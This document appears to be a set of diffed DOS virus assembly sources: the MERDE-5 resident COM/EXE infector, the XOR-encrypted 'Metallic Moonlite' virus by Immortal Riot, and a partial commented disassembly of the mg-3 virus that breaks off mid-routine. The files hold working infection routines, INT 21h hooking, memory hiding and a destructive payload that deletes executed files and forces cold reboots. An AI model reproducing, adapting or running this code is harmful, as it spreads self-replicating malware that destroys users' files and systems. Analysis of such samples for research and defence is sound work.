; offers EXE infection. I messed up command.com
|
||||
; compatibility so this version won't infect it.
|
||||
; Also, this version might be a little shakey,
|
||||
; but it should work okay with most setups
|
||||
; (I'm not professional yet, so screw 'em
|
||||
; if this hangs!)..
|
||||
; This will be the last time I release code for
|
||||
; my virii. Thanks to firststrike, and anyone else
|
||||
; who has given me tips.....
|
||||
; Be careful not to get this, it is kinda hard to get rid
|
||||
; of (it would be REALLY hard to get rid of if it infected
|
||||
;command.com- I will have to fix that (along with the TERRIBLE
|
||||
; inefficiency in my interrupt handler (the loader is OKAY, but
|
||||
; My_21 is just kind of a jumble of code thrown together for now.
|
||||
; If you want to vaccinate your system, and you know a little about
|
||||
; assembler, it isn't that hard. (I gave the come version to
|
||||
; myself about 3 times). Just take notice of my use of interrupt
|
||||
; 71...(This will be changed in future versions, for obvious reasons).
|
||||
; MERDE-5 The merde virus version 5.0- loki
|
||||
|
||||
|
||||
compare_val equ 850
|
||||
interrupt equ 21h
|
||||
Code_seg Segment Byte
|
||||
Assume DS:Code_seg, CS:Code_seg
|
||||
ORG 100h
|
||||
|
||||
start: call get_ip
|
||||
|
||||
exe_or_com:
|
||||
dw 'CO'
|
||||
get_ip:
|
||||
pop di
|
||||
sub di,3
|
||||
cmp word ptr cs:[di+3],'EX'
|
||||
jne com_memory_loader
|
||||
jmp exe_memory_loader
|
||||
|
||||
;Load memory from within an EXE file..
|
||||
;------------------------------------------------------------------------------
|
||||
exe_memory_loader:
|
||||
call check_for_int_71
|
||||
jc go
|
||||
call get_memory ;es=my_segment
|
||||
jnc aaaa
|
||||
jmp exit_exe
|
||||
aaaa:
|
||||
call hide_memory
|
||||
call set_int_71
|
||||
call save_21
|
||||
push ds
|
||||
call move_all_code
|
||||
pop ds
|
||||
mov bx,es
|
||||
call set_21
|
||||
go: jmp exit_exe
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
;******************************************************************************
|
||||
;------------------------------------------------------------------------------
|
||||
;load memory from a COM file...
|
||||
|
||||
com_memory_loader:
|
||||
call restore_com
|
||||
call check_for_int_71
|
||||
jc go_1
|
||||
call get_memory
|
||||
jnc bbbb
|
||||
jmp exit_com
|
||||
|
||||
bbbb: call hide_memory
|
||||
|
||||
reset_di:
|
||||
call set_int_71
|
||||
call save_21
|
||||
call move_all_code
|
||||
mov bx,es
|
||||
call set_21
|
||||
go_1: jmp exit_com
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
;Returns ES with my segment (or an error)
|
||||
;------------------------------------------------------------------------------
|
||||
get_memory:
|
||||
int 12h
|
||||
mov bx,cs
|
||||
mov cx,1024
|
||||
mul cx
|
||||
clc
|
||||
mov cx,600h ;Amount of needed memory
|
||||
sub ax,cx
|
||||
sbb dx,0000 ;dx:ax=where we want this mem to end!
|
||||
mov bx,dx
|
||||
mov bp,ax ;save this...
|
||||
mov cx,cs
|
||||
mov ax,0010h
|
||||
mul cx
|
||||
clc
|
||||
mov cx,di
|
||||
add cx,offset ending-100h
|
||||
add ax,cx
|
||||
adc dx,0000
|
||||
clc
|
||||
sub bp,ax
|
||||
sbb bx,dx
|
||||
clc
|
||||
mov ax,bp
|
||||
mov dx,bx
|
||||
mov cx,0010h
|
||||
div cx ;dx:ax=memory above this-divide it by 16
|
||||
mov bx,ax
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
jc get_memory_error
|
||||
mov bx,60
|
||||
mov ah,48h
|
||||
int 21h
|
||||
jc get_memory_error
|
||||
mov es,ax
|
||||
clc
|
||||
ret
|
||||
get_memory_error:
|
||||
stc
|
||||
ret
|
||||
;------------------------------------------------------------------------------
|
||||
;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
|
||||
;------------------------------------------------------------------------------
|
||||
move_all_code:
|
||||
;move PSP**************************
|
||||
push di
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov cx,100h
|
||||
rep movsb
|
||||
;**********************************
|
||||
;move my code**********************
|
||||
pop si
|
||||
push si
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,offset ending-100h
|
||||
rep movsb
|
||||
pop di
|
||||
ret
|
||||
;**********************************
|
||||
;------------------------------------------------------------------------------
|
||||
;------------------------------------------------------------------------------
|
||||
;saves interrupt 21 in cs:[int_21_saveo]
|
||||
save_21:
|
||||
push es
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ax,es:[interrupt*4]
|
||||
mov bx,es:[interrupt*4+2]
|
||||
mov cs:[di+offset int_21_saveo-100h],ax
|
||||
mov cs:[di+offset int_21_saves-100h],bx
|
||||
pop es
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
;sets interrupt 21 to bx:offset of my_21
|
||||
set_21:
|
||||
push es
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov es:[interrupt*4],offset my_21
|
||||
mov es:[interrupt*4+2],bx
|
||||
pop es
|
||||
ret
|
||||
;-----------------------------------------------------------------------------
|
||||
;-----------------------------------------------------------------------------
|
||||
;Restores a COM file
|
||||
restore_com:
|
||||
push di
|
||||
mov si,di
|
||||
add si,offset three_bytes-100h
|
||||
mov di,0100h
|
||||
mov cx,3
|
||||
rep movsb
|
||||
pop di
|
||||
ret
|
||||
;------------------------------------------------------------------------------
|
||||
;Hides my segment's (es) size and owner
|
||||
hide_memory:
|
||||
push ds
|
||||
xor cx,cx
|
||||
mov ds,cx
|
||||
mov cx,ds:[2eh*4+2]
|
||||
pop ds
|
||||
push ds
|
||||
mov dx,es
|
||||
dec dx
|
||||
mov ds,dx
|
||||
mov ds:[1],cx ;maybe later set to DOS seg
|
||||
mov byte ptr ds:[0],'Z'
|
||||
mov word ptr ds:[3],0000
|
||||
mov es:[16h],cx
|
||||
mov es:[0ah],cx
|
||||
mov es:[0ch],cx
|
||||
pop ds
|
||||
ret
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
;check_for_int 71- My little multiplex interrupt
|
||||
check_for_int_71:
|
||||
int 71h
|
||||
cmp ax,9999h
|
||||
je set_c
|
||||
clc
|
||||
ret
|
||||
set_c:
|
||||
stc
|
||||
ret
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
;Set interrupt 71:
|
||||
set_int_71:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[71h*4+2],es
|
||||
mov ds:[71h*4],offset my_71
|
||||
pop ds
|
||||
ret
|
||||
|
||||
|
||||
exit_com:
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov ax,100h
|
||||
jmp ax
|
||||
|
||||
exit_exe:
|
||||
push ds
|
||||
pop es
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add word ptr cs:[di+offset orig_cs-100h],ax
|
||||
cli
|
||||
add ax,word ptr cs:[di+offset orig_ss-100h]
|
||||
mov ss,ax
|
||||
mov sp,word ptr cs:[di+offset orig_sp-100h]
|
||||
sti
|
||||
jmp dword ptr cs:[di+offset orig_ip-100h]
|
||||
|
||||
;------------------------------------------------------------------
|
||||
my_21:
|
||||
cmp ah,4bh
|
||||
je okay_go
|
||||
cmp ah,0fh
|
||||
je okay_go
|
||||
cmp ah,3dh
|
||||
je okay_go
|
||||
cmp ah,43h
|
||||
je okay_go
|
||||
jmp continue_21
|
||||
okay_go:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
check_for_com:
|
||||
xor si,si
|
||||
mov bx,dx
|
||||
looper:
|
||||
cmp word ptr ds:[bx+si],'c.'
|
||||
je check_om
|
||||
cmp word ptr ds:[bx+si],'C.'
|
||||
je check_om
|
||||
cmp word ptr ds:[bx+si],'e.'
|
||||
je check_ex
|
||||
cmp word ptr ds:[bx+si],'E.'
|
||||
je check_ex
|
||||
inc si
|
||||
cmp si,40
|
||||
jne looper
|
||||
jmp give_up1
|
||||
check_om:
|
||||
cmp word ptr ds:[bx+si+2],'mo'
|
||||
jne bb
|
||||
mov cs:[com_or_exe],0
|
||||
jmp check_for_infection
|
||||
bb: cmp word ptr ds:[bx+si+2],'MO'
|
||||
jne cc
|
||||
mov cs:[com_or_exe],0
|
||||
jmp check_for_infection
|
||||
cc: jmp give_up1
|
||||
check_ex:
|
||||
cmp word ptr ds:[bx+si+2],'ex'
|
||||
jne label1
|
||||
mov cs:[com_or_exe],1234h
|
||||
jmp okay_do
|
||||
label1:
|
||||
cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!!
|
||||
je cccc ;forget exe for now..
|
||||
jmp give_up1
|
||||
cccc:
|
||||
mov cs:[com_or_exe],1234h
|
||||
jmp okay_do
|
||||
check_for_infection:
|
||||
cmp word ptr [bx+si-2],'DN'
|
||||
jne okey_k
|
||||
jmp give_up1
|
||||
okey_k:
|
||||
cmp word ptr [bx+si-2],'DN'
|
||||
jne okay_do
|
||||
jmp give_up1
|
||||
okay_do:
|
||||
mov cs:[storage_1],ds
|
||||
mov cs:[storage_2],dx
|
||||
mov ah,50h ;set PSP to ours
|
||||
push cs
|
||||
pop bx
|
||||
call dos_21
|
||||
mov ah,43h
|
||||
xor al,al
|
||||
call dos_21
|
||||
jnc okay9
|
||||
jmp give_up
|
||||
okay9: mov cs:[attrib],cx
|
||||
mov ah,43h
|
||||
mov al,1
|
||||
xor cx,cx
|
||||
call dos_21
|
||||
mov ah,3dh
|
||||
mov al,2
|
||||
call dos_21
|
||||
jnc okay10
|
||||
jmp give_up
|
||||
okay10: mov cs:[handle],ax
|
||||
mov bx,ax
|
||||
mov ah,57h
|
||||
xor al,al
|
||||
call dos_21
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
call dos_21
|
||||
jnc okay11
|
||||
jmp give_up
|
||||
okay11: mov cs:[file_size],ax
|
||||
cmp cs:[com_or_exe],1234h
|
||||
jne okey_p
|
||||
sub ax,compare_val
|
||||
sbb dx,0000
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp contin2
|
||||
okey_p: xor cx,cx
|
||||
cmp ax,63000
|
||||
jb contin1
|
||||
call reset_all
|
||||
jmp give_up
|
||||
contin1:
|
||||
cmp ax,600
|
||||
jnb continx
|
||||
call reset_all
|
||||
jmp give_up
|
||||
continx:
|
||||
sub ax,compare_val
|
||||
mov dx,ax
|
||||
xor cx,cx
|
||||
contin2:
|
||||
mov ax,4200h
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov ah,3fh
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset buffer
|
||||
mov cx,2
|
||||
call dos_21
|
||||
mov ax,word ptr cs:[buffer]
|
||||
mov bx,word ptr cs:[offset dont_write-compare_val]
|
||||
cmp ax,bx
|
||||
jne dddd
|
||||
jmp give_up
|
||||
dddd:
|
||||
cmp cs:[com_or_exe],1234h
|
||||
je infect_exe
|
||||
jmp infect_com
|
||||
|
||||
infect_exe:
|
||||
mov bx,cs:[handle]
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call dos_21
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
mov dx,offset header
|
||||
call dos_21
|
||||
cmp word ptr [header+8],1000h
|
||||
jb okayh
|
||||
call reset_all
|
||||
jmp give_up
|
||||
okayh: mov ax,word ptr [header+16h]
|
||||
mov orig_cs,ax
|
||||
mov ax,word ptr [header+14h]
|
||||
mov orig_ip,ax
|
||||
mov ax,word ptr [header+0eh]
|
||||
mov orig_ss,ax
|
||||
mov ax,word ptr [header+10h]
|
||||
mov orig_sp,ax
|
||||
mov ax,4202h
|
||||
mov bx,handle
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos_21
|
||||
mov word ptr ds:[exe_or_com],'EX'
|
||||
mov high_size,dx
|
||||
mov low_size,ax
|
||||
mov real_hsize,dx
|
||||
mov real_lsize,ax
|
||||
mov ax,word ptr [header+8]
|
||||
mov cx,10h
|
||||
mul cx
|
||||
clc
|
||||
sub low_size,ax ;high_size:low_size=load size
|
||||
sbb high_size,dx
|
||||
clc
|
||||
mov dx,high_size
|
||||
mov ax,low_size
|
||||
mov cx,0010h
|
||||
div cx
|
||||
cmp dx,0
|
||||
je okay
|
||||
mov cx,16
|
||||
sub cx,dx
|
||||
mov bp,cx
|
||||
add real_lsize,bp
|
||||
adc real_hsize,0000
|
||||
clc
|
||||
stc
|
||||
adc ax,0000
|
||||
jmp okay1
|
||||
okay: xor bp,bp
|
||||
okay1: xor dx,dx
|
||||
mov word ptr [header+16h],ax
|
||||
;add to dx?
|
||||
mov word ptr [header+14h],dx
|
||||
mov word ptr [header+0eh],ax
|
||||
mov dx,0fffeh
|
||||
mov word ptr [header+10h],dx
|
||||
mov dx,real_hsize
|
||||
mov ax,real_lsize
|
||||
add ax,offset ending-100h+1
|
||||
adc dx,0000
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax
|
||||
and ah,1
|
||||
mov word ptr [header+4],dx
|
||||
mov word ptr [header+2],ax
|
||||
mov ah,40h
|
||||
mov bx,handle
|
||||
mov cx,offset dont_write-100h
|
||||
add cx,bp
|
||||
mov dx,100h
|
||||
sub dx,bp
|
||||
call dos_21
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,handle
|
||||
call dos_21
|
||||
mov ah,40h
|
||||
mov bx,handle
|
||||
mov cx,18h
|
||||
mov dx,offset header
|
||||
call dos_21
|
||||
call reset_all
|
||||
jmp give_up
|
||||
|
||||
infect_com:
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,cs:[handle]
|
||||
mov ax,4200h
|
||||
call dos_21
|
||||
mov ah,3fh
|
||||
mov cx,3
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset three_bytes
|
||||
call dos_21
|
||||
mov ax,cs:[file_size]
|
||||
sub ax,3
|
||||
mov word ptr cs:[jumper+1],ax
|
||||
mov word ptr cs:[exe_or_com],'CO'
|
||||
call write_to_end
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov dx,offset jumper
|
||||
mov ah,40h
|
||||
mov cx,3
|
||||
call dos_21
|
||||
call reset_all
|
||||
give_up:
|
||||
mov ah,50h
|
||||
mov bx,cs:[storage_1]
|
||||
call dos_21
|
||||
give_up1:
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp continue_21
|
||||
continue_21:
|
||||
jmp dword ptr cs:[int_21_saveo]
|
||||
dos_21:
|
||||
pushf
|
||||
call dword ptr cs:[int_21_saveo]
|
||||
ret
|
||||
|
||||
reset_all:
|
||||
mov bx,cs:[handle]
|
||||
mov cx,cs:[time]
|
||||
mov dx,cs:[date]
|
||||
mov ax,5701h
|
||||
call dos_21
|
||||
mov ah,3eh
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov ah,43h
|
||||
mov al,1
|
||||
mov cx,cs:[attrib]
|
||||
mov ds,cs:[storage_1]
|
||||
mov dx,cs:[storage_2]
|
||||
call dos_21
|
||||
ret
|
||||
|
||||
write_to_end:
|
||||
|
||||
mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov ah,40h
|
||||
mov cx,offset dont_write-100h
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,0100h
|
||||
call dos_21
|
||||
ret
|
||||
my_71:
|
||||
mov ax,9999h
|
||||
iret
|
||||
|
||||
|
||||
jumper:
|
||||
db 0e9h,00,00
|
||||
storage_1 dw 0000
|
||||
storage_2 dw 0000
|
||||
int_21_saveo dw 0000
|
||||
int_21_saves dw 0000
|
||||
three_bytes: db 0cdh,20h,90h
|
||||
db 'Loki'
|
||||
orig_ip dw 0000
|
||||
orig_cs dw 0000
|
||||
orig_ss dw 0000
|
||||
orig_sp dw 0000
|
||||
dont_write:
|
||||
|
||||
header:
|
||||
db 24 dup(00)
|
||||
com_or_exe dw 1234h
|
||||
handle dw 0000
|
||||
file_size dw 0000
|
||||
attrib dw 0000
|
||||
date dw 0000
|
||||
time dw 0000
|
||||
buffer: dw 0000
|
||||
loader_high dw 0000
|
||||
loader_low dw 0000
|
||||
header_cs dw 0000
|
||||
header_ip dw 0000
|
||||
low_size dw 0000
|
||||
high_size dw 0000
|
||||
real_hsize dw 0000
|
||||
real_lsize dw 0000
|
||||
ending:
|
||||
Code_seg ENDS
|
||||
END start
|
||||
@@ -0,0 +1,244 @@
|
||||
; Virusname : Metallic Moonlite
|
||||
; Virusauthor: Metal Militia
|
||||
; Virusgroup : Immortal Riot
|
||||
; Origin : Sweden
|
||||
;
|
||||
; It's a non-resident, current dir infector of com-files. every first
|
||||
; of any month it will put a bit of code resident to make ctrl-alt-del's
|
||||
; to coldboots and delete all files being executed. It's encrypted with
|
||||
; an XOR-loop. If it's not the first it will simple make a screen-clear.
|
||||
; Um!.. well, enjoy Insane Reality issue #4!
|
||||
;
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; METALLIC MOONLITE
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
org 100h
|
||||
begin:
|
||||
dummy_host db 0e9h,00h,00h ; the jmp code
|
||||
virus_start:
|
||||
mov bp,0000h ; the delta offset
|
||||
|
||||
call encrypt_decrypt ; call to unencrypt
|
||||
jmp restore_old_bytes ; restore old first bytes
|
||||
|
||||
write_virus:
|
||||
call encrypt_decrypt ; call encryption routine
|
||||
|
||||
lea dx,[bp+virus_start] ; from 100h (start)
|
||||
mov cx,heap-virus_start ; viruslength
|
||||
mov ah,40h ; write it
|
||||
int 21h
|
||||
|
||||
call encrypt_decrypt ; once again, encryption routine
|
||||
; being called
|
||||
ret ; ret(urn) to "caller"
|
||||
|
||||
enc_val dw 0 ; encryption value storage
|
||||
|
||||
encrypt_decrypt:
|
||||
mov dx,word ptr [bp+enc_val] ; the encryption routine
|
||||
lea si,[bp+restore_old_bytes]
|
||||
mov cx,(heap_end-virus_start+1)/2
|
||||
again:
|
||||
xor word ptr [si],dx ; a simple XOR thang
|
||||
inc si ; but gaak!, so effective
|
||||
inc si
|
||||
loop again
|
||||
ret
|
||||
|
||||
restore_old_bytes:
|
||||
mov di,0100h
|
||||
lea si,[bp+old_bytes] ; restore old first bytes
|
||||
movsw
|
||||
movsb
|
||||
|
||||
lea dx,[bp+new_dta] ; DTA's place
|
||||
mov ah,1Ah ; set it
|
||||
int 21h
|
||||
|
||||
lea dx,[bp+com_mask] ; file(s) to find
|
||||
mov cx,0002h ; hidden/normal attributes
|
||||
mov ah,4eh ; find first file
|
||||
find_next:
|
||||
int 21h
|
||||
jnc check_file ; found one? if so, check it
|
||||
jmp bye_bye ; no uninfected files found,
|
||||
; outa here
|
||||
check_file:
|
||||
mov ax,word ptr [bp+file_time] ; get time of file
|
||||
and al,00011111b ; mask seconds field
|
||||
cmp al,00010101b ; check for previous infection
|
||||
je try_again ; is it infected? so, try another
|
||||
jmp replicate ; not infected yet, kick it
|
||||
|
||||
try_again:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short find_next ; so, do that
|
||||
|
||||
replicate:
|
||||
lea dx,[bp+file_name]
|
||||
sub cx,cx
|
||||
mov ax,4301h ; set attributes
|
||||
int 21h
|
||||
|
||||
lea dx,[bp+file_name] ; open file
|
||||
mov ax,3d02h ; read/write access
|
||||
int 21h
|
||||
xchg ax,bx ; mov bx,ax
|
||||
|
||||
mov ah,3fh ; read bytes
|
||||
mov cx,03h ; 3 of them
|
||||
lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
|
||||
int 21h
|
||||
|
||||
cwd
|
||||
sub cx,cx
|
||||
mov ax,4202h ; move file pointer to EOF
|
||||
int 21h
|
||||
|
||||
sub ax,03h ; 3 bytes
|
||||
mov word ptr [bp+virus_start+1],ax ; from start
|
||||
mov word ptr [bp+new_bytes+1],ax ; our jmp code
|
||||
|
||||
mov ah,2ch ; get time
|
||||
int 21h
|
||||
mov word ptr [bp+enc_val],dx ; put as encryption value
|
||||
call write_virus ; write our code (*.*)
|
||||
|
||||
cwd
|
||||
sub cx,cx
|
||||
mov ax,4200h ; move file pointer to SOF
|
||||
int 21h
|
||||
|
||||
lea dx,[bp+new_bytes] ; write our jmp code at beginning
|
||||
mov cx,03h ; 3 bytes long
|
||||
mov ah,40h ; kick it
|
||||
int 21h
|
||||
|
||||
mov dx,word ptr [bp+file_date]
|
||||
mov cx,word ptr [bp+file_time]
|
||||
and cl,11100000b
|
||||
or cl,00010101b
|
||||
mov ax,5701h ; restore date and time
|
||||
int 21h ; and mask seconds to show
|
||||
; it's infected
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
|
||||
lea dx,[bp+file_name]
|
||||
sub cx,cx
|
||||
mov cl,byte ptr [bp+file_attr]
|
||||
mov ax,4301h ; restore the original attributes
|
||||
int 21h
|
||||
|
||||
jmp try_again ; try to find another file
|
||||
|
||||
bye_bye:
|
||||
mov ah,2ah ; get date
|
||||
int 21h
|
||||
cmp dl,1 ; the first of any month?
|
||||
je print_it ; if so, deletion time
|
||||
jmp nofuckup ; else, quit
|
||||
print_it:
|
||||
mov ah,9h ; print note
|
||||
lea dx,[bp+offset printfake] ; faked thing
|
||||
int 21h
|
||||
|
||||
jmp resident ; go resident
|
||||
|
||||
int_9_entry proc far
|
||||
push ax
|
||||
in al,60h
|
||||
cmp al,delcode ; ctrl-alt-del?
|
||||
je warmboot ; if so, boot
|
||||
pop ax
|
||||
jmp cs:Old_9 ; let them use the old one
|
||||
warmboot:
|
||||
db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot
|
||||
iret ; i wonder if they will notice
|
||||
int_9_entry endp ; thatone (?)
|
||||
|
||||
int_21h_entry proc far
|
||||
cmp ax,4b00h ; are they running a file?
|
||||
jne go_on ; if not, check other thang
|
||||
mov ah,41h ; delete it
|
||||
int 21h
|
||||
go_on:
|
||||
cmp ax,4B9Fh ; is another copy trying to go resident?
|
||||
je loc_0111 ; if so, show that we're here already
|
||||
jmp cs:Old_21 ; else, let them use old int21
|
||||
loc_0111:
|
||||
mov ax,1994h ; 1994, our TSR mark here
|
||||
iret ; to show that one copy's already eating memory
|
||||
int_21h_entry endp
|
||||
en:
|
||||
|
||||
resident:
|
||||
mov ax,3509h ; hook int9 (to read keyboard)
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:Old_9,bx ; save the old one here
|
||||
mov word ptr cs:Old_9+2,es
|
||||
mov ax,2509h
|
||||
mov dx,offset int_9_entry ; and use ours instead
|
||||
int 21h
|
||||
|
||||
mov ax,3521h ; hook int21 too (for filedeletion)
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:Old_21,bx ; save old int21 here
|
||||
mov word ptr cs:Old_21+2,es
|
||||
mov ax,2521h
|
||||
mov dx,offset int_21h_entry ; and let ours be used instead
|
||||
int 21h
|
||||
|
||||
mov dx,offset en ; what to put resident
|
||||
int 27h ; do it
|
||||
|
||||
nofuckup:
|
||||
; mov ah,0fh ; remove the first ";"
|
||||
; int 10h ; and a screen-clear
|
||||
; mov ah,0 ; will occure every
|
||||
; int 10h ; execution.
|
||||
|
||||
|
||||
restore_it_all:
|
||||
jmp restore_dir ; restore everything
|
||||
|
||||
restore_dir:
|
||||
mov ah,1ah ; restore DTA
|
||||
mov dx,80h ; right now
|
||||
int 21h
|
||||
|
||||
mov ax,0100h ; set ax to start
|
||||
push ax ; push it
|
||||
retn ; back to original program
|
||||
|
||||
virusname db 'Metallic Moonlite' ; virus name
|
||||
copyright db '(c) Metal Militia/Immortal Riot' ; virus author
|
||||
greetings db 'Greetings to The Unforgiven/IR'
|
||||
printfake db 'Bad command or filename$'
|
||||
|
||||
com_mask db '*.com',0 ; files to infect, .com(mand)
|
||||
old_bytes db 0cdh,20h,90h ; old jmp saved here
|
||||
new_bytes db 0e9h,00h,00h ; new jmp code here
|
||||
delcode equ 53h ; ctrl-alt-del code(s)
|
||||
|
||||
heap:
|
||||
old_9 dd 0 ; save's old int9 here
|
||||
old_21 dd 0 ; save's old int21 aswell
|
||||
new_dta db 21 dup(?) ; the new DTA
|
||||
file_attr db ? ; files attributes
|
||||
file_time dw ? ; files time
|
||||
file_date dw ? ; files date
|
||||
file_size dd ? ; files size
|
||||
file_name db 13 dup(?) ; files name
|
||||
old_attrs db 5 dup(?) ; files old attributes
|
||||
heap_end: ; eov (end of virus)
|
||||
cseg ends
|
||||
end begin
|
||||
@@ -0,0 +1,338 @@
|
||||
page ,132
|
||||
;
|
||||
; name: mg-3.vom
|
||||
;
|
||||
; program type: com/bin
|
||||
;
|
||||
; cpu type: 8086
|
||||
;
|
||||
; program loaded at 0000:01f8
|
||||
;
|
||||
; physical eof at 0000:03f5
|
||||
;
|
||||
; program entry point at 0000:01f8
|
||||
;
|
||||
fun segment
|
||||
assume cs:fun,ds:fun,es:fun,ss:fun
|
||||
;
|
||||
; references before the start of code space
|
||||
;
|
||||
org 0006h
|
||||
h_0006 label word
|
||||
org 004ch
|
||||
h_004c label word
|
||||
org 004eh
|
||||
h_004e label word
|
||||
org 0090h
|
||||
h_0090 label word
|
||||
org 0092h
|
||||
h_0092 label word
|
||||
;
|
||||
; data references to code space addresses
|
||||
;
|
||||
; org 0339h
|
||||
;h_0339 label byte
|
||||
;
|
||||
; start of program
|
||||
;
|
||||
org 01f8h
|
||||
h_01f8:
|
||||
call h_0204 ;goto virus
|
||||
nop
|
||||
mov ax,4c00h
|
||||
int 21h ;terminate program
|
||||
;
|
||||
h_0201 db 0ebh,02h,90h ;saved_prog_start
|
||||
h_0204:
|
||||
xchg ax,dx ;save ax
|
||||
pop di ;get return address
|
||||
dec di ;back by 2
|
||||
dec di ;to CALL ofs
|
||||
mov si,[di] ;get call ofs
|
||||
dec di ;back 1 to start of program
|
||||
add si,di ;call ofs plus prog start
|
||||
;= saved_prog_start
|
||||
push cs ;save cs
|
||||
push di ;and di for program start
|
||||
cld ;up!
|
||||
movsw ;replace 1st word
|
||||
movsb ;and 3rd byte of program
|
||||
mov ax,4b04h ;fn = virus ID
|
||||
int 21h ;call DOS
|
||||
jae h_027f ;OK (installed), skip this
|
||||
xor ax,ax ;get a 0
|
||||
mov es,ax ;address INT seg
|
||||
mov di,0204h ;es:di = new virus home
|
||||
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
|
||||
repz movsb ;copy virus to low mem
|
||||
les di,[0006h] ;get seg:ofs of CPMtype doscall
|
||||
mov al,0eah ;JMPF instruction
|
||||
dec cx ;cx = 0FFFFh
|
||||
repnz scasb ;find JMPF
|
||||
les di,es:[di] ;get seg:ofs to DOS
|
||||
sub di,-21h ;up to ??
|
||||
jmp 0000h:0239h ;goto virus in low memory
|
||||
h_0239:
|
||||
push es ;DOS seg
|
||||
pop ds ;to ds
|
||||
mov si,[di-04h] ;get ptr to max_dos_fn
|
||||
lodsb ;get that byte
|
||||
cmp al,68h ;at least 68?
|
||||
mov [di-03h],al ;set immediate compare value
|
||||
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
|
||||
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov [03fch],di ;set INT FF ofs to DOS entry
|
||||
mov [03feh],es ;and INT FF seg to DOS entry
|
||||
;BUG: need to have INT FF point to the
|
||||
; CMP AH,xx instruction they
|
||||
; have set up!!!
|
||||
mov byte ptr [h_0339],0ah ;set dosver_skip
|
||||
jnae h_026e ;not DOS 3.3+, skip this
|
||||
mov byte ptr [h_0339],00h ;reset dosver_skip
|
||||
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
|
||||
mov [h_07b6],cs ;and seg of saved INT 13 vector
|
||||
;in IBMBIO.COM
|
||||
;NOTE: How stable are these locations?!?!?!
|
||||
h_026e:
|
||||
mov al,0a9h ;TEST AX,xxxx instruction
|
||||
h_0270:
|
||||
repnz scasb ;find it
|
||||
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
|
||||
;NOTE: test for illegal flag values
|
||||
jnz h_0270 ;no, try again
|
||||
mov al,18h ;new immediate value: 0FF18h
|
||||
;NOTE: remove "our" flag from illegal values
|
||||
stosb ;modify test instr
|
||||
push ss ;copy PSP seg
|
||||
pop ds ;to ds
|
||||
push ss ;and again
|
||||
pop es ;to es
|
||||
h_027f:
|
||||
xchg ax,dx ;get original AX back
|
||||
retf ;and execute infected program
|
||||
;
|
||||
; intfchere
|
||||
;
|
||||
h_0281:
|
||||
push ax ;save regs
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
cmp ax,4b04h ;fn = virus ID?
|
||||
jz h_02ad ;yes, cleanup and exit NC
|
||||
xchg ax,cx ;save ax
|
||||
mov ah,2fh ;fn = get DTA
|
||||
int 0ffh ;call DOS
|
||||
cmp ch,11h ;fn = FCB find first?
